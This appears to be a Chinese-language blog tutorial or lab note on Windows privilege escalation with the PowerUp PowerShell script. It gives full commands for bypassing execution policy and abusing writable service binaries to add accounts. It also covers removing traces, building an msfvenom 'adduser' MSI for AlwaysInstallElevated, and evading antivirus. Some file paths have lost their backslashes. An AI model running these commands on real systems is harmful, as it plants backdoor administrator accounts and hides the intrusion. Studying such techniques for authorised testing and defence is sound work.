PowerUp攻擊模塊實戰

  • 2019 年 10 月 22 日
  • 筆記

PowerUp攻擊模塊實戰
 
1.將PowerUp.ps1腳本上傳至目標服務器,然後在本地執行
2.使用IEX在內存中加載此腳本,執行以下命令,腳本將進行所有的檢查。
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘C:PowerUp.ps1’); Invoke-AllChecks”
由於檢查項較多,輸出內容繁雜,可以導出方便分析查看。
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘C:PowerUp.ps1’); Invoke-AllChecks” > sys.txt
 
也可以在cmd下導入模塊繞過策略執行:
powershell.exe -exec bypass -Command “& {Import-Module c:PowerUp.ps1; Invoke-AllChecks}”
可以看出,Powerup 列出了可能存在問題的所有服務,並在AbuseFunction中直接給出了利用方式。
第一部分通過 Get-ServiceUnquoted 模塊(利用 windows 的一個邏輯漏洞,即當文件包含空格時,windows API 會解釋為兩個路徑,並將這兩個文件同時執行,有些時候可能會造成權限的提升)檢測出了有 “Vulnerable Service”、”OmniServ”、”OmniServer”、”OmniServers” 四個服務存在此邏輯漏洞,但是都沒有寫入權限,所以並不能被我們利用來提權。第二部分通過 Test-ServiceDaclPermission 模塊(檢查所有可用的服務,並嘗試對這些打開的服務進行修改,如果可修改,則存在此漏洞)檢測出當前用戶可以在 “OmniServers” 服務的目錄寫入相關聯的可執行文件,並且通過這些文件來進行提權。
 
漏洞利用原理:Windows 系統服務文件在操作系統啟動時會加載執行,並且在後台調用可執行文件。比如,JAVA 升級程序,每次重啟系統時,JAVA 升級程序會檢測 Oracle 網站,是否有新版 JAVA 程序。而類似 JAVA 程序之類的系統服務程序加載時往往都是運行在系統權限上的。所以如果一個低權限的用戶對於此類系統服務調用的可執行文件具有可寫的權限,那麼就可以將其替換成我們的惡意可執行文件,從而隨着系統啟動服務而獲得系統權限。
 
2)測試寫權限
我們可以使用 icacls(Windows 內建的一個工具,用來檢查對有漏洞目錄是否有寫入的權限)來驗證下 PowerUp 腳本檢測是否正確,我們先對於檢測出來的漏洞目錄進行權限的檢測
icacls “C:Program FilesWindows Media Playerwmpnetwk.exe”
“Everyone” 用戶對這個文件有完全控制權,就是說所有用戶都具有全部權限修改這個文件夾。
參數說明:”M” 表示修改,”F” 代表完全控制,”CI” 代表從屬容器將繼承訪問控制項,”OI” 代表從屬文件將繼承訪問控制項。這意味着對該目錄有讀,寫,刪除其下的文件,刪除該目錄下的子目錄的權限。
 
3)權限提升
在這裡我們使用 AbuseFunction 那裡已經給出的具體操作方式,
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Invoke-ServiceAbuse -Name ‘WMPNetworkSvc’ -UserName micr067 -Password admin@123
 
之後當管理員運行該服務的時候,則會添加我們的賬號。(賬號未添加,後續再研究)
 
4)刪除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Restore-ServiceBinary -ServiceName ‘WMPNetworkSvc’
 
恢復
“C:Program FilesWindows Media Playerwmpnetwk.exe.bak”
“C:Program FilesWindows Media Playerwmpnetwk.exe”
l 移除備份二進制文件‘
“C:Program FilesWindows Media Playerwmpnetwk.exe.bak”
 
上傳PowerUp.ps1到目標機器
使用 Powerup 的 Get-RegistryAlwaysInstallElevated 模塊來檢查註冊表項是否被設置,此策略在本地策略編輯器(gpedit.msc):
 
關於AlwaysInstallElevated 註冊表項
Windows 環境提供組策略設置,允許常規用戶安裝具有系統權限的 Microsoft Windows Installer 程序包(MSI)。這可以在標準用戶想要安裝需要系統權限的應用程序的環境中發 現,並且管理員希望避免向用戶提供臨時本地管理員訪問權限。Windows 環境提供組策略設置,允許常規用戶安裝具有系統權限的 Microsoft Windows Installer 程序包(MSI)。這可以在標準用戶想要安裝需要系統權限的應用程序的環境中發 現,並且管理員希望避免向用戶提供臨時本地管理員訪問權限。
 
如果 AlwaysInstallElevated 註冊表項被設置,意味着的 MSI 文件是以 system 權限運行的。命令如下,True 表示已經設置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Get-RegistryAlwaysInstallElevated
 
也可以使用註冊表查看
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
 
0x02 權限提升
接着我們需要生成惡意的MSI安裝文件,讓其來添加用戶,第一種方法可以使用PowerUp腳本自帶的 Write-UserAddMSI 模塊,運行後生成文件 UserAdd.msi
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Write-UserAddMSI
然後我們以普通用戶權限運行這個 UserAdd.msi,就會成功添加賬戶:
由於我是在payload域環境下,密碼需要符合密碼強度才能添加,否側會彈窗報錯!
 
添加了一個backdoor用戶。
並且是管理員權限。
 
第二種方法,通過msfvenom生成一個msi後門,同樣可以實現上面的功能。
 
msfvenom -f msi -p windows/adduser USER=micr067 PASS=Qwer1234! -o /root/add.msi
注意:此處對密碼強度有要求,否則會報錯!
meterpreter上傳msi木馬,然後運行即可
msiexec工具相關的參數:
/quiet=安裝過程中禁止向用戶發送消息
/qn=不使用圖形界面
/i=安裝程序
執行之後,成功添加上了該賬號密碼。當然這裡也可以直接生成木馬程序。
註:由於是msf生成的msi文件,所以默認會被殺毒軟件攔截,做好免殺。
 
msiexec /quiet /qn /i C:add.msi
成功添加用戶。
 
msf下存在自動化的腳本供我們提權使用
 
exploit/windows/local/always_install_elevated